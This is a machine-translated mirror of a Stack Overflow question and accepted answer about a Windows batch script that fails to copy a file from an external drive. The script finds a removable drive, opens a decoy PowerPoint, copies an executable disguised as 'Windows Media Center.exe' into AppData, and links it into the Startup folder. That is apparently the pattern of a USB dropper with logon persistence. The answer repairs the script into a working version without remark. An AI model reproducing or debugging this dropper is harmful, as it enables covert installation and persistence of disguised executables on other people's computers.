首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Windows批处理-复制文件问题

Windows批处理-复制文件问题
EN

Stack Overflow用户
提问于 2017-05-06 18:26:53
回答 1查看 62关注 0票数 1

我试图创建一个简单的批处理文件,它应该将文件从外部驱动器复制到pc上,而不知道驱动器号:

代码语言:javascript
复制
echo off

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:




for /F "tokens=2 delims==" %%s in ('set drives[') do (


if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (


start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"


if not exist "%AppData%\Windows Media Center.exe" ( 


copy "%%s%\data\Windows Media Center.exe" %AppData%


mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 

)

)

)



PAUSE

我可以成功地获得正确的驱动器号,但是copy命令返回以下错误:

系统找不到指定的文件。

我做错什么了?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2017-05-06 19:28:11

您使用的对于/F参数变量不正确,但下面是您可以使用的语法示例,它可以按预期工作,因此它将按预期工作。

本质上,在FOR循环中,当您使用一个变量(如%%s )来迭代循环中稍后的命令(例如,DO %%s)时,它在批处理脚本中以%%s%%~s的语法引用,或者作为%s%~s引用,如果不是作为脚本运行,而是从命令行手动运行。简单地省略附加到变量迭代器上的附加%符号,所以使用%%s而不是%%s% 如果您在变量中使用~字符,就像我前面提到的那样,这仅仅是删除所有周围的引号,这样就可能出现了,以防万一。

代码语言:javascript
复制
echo on

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:

for /F "tokens=2 delims==" %%s in ('set drives[') do (
    if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
    if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
    mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 
)

PAUSE

进一步资源

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/43823969

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档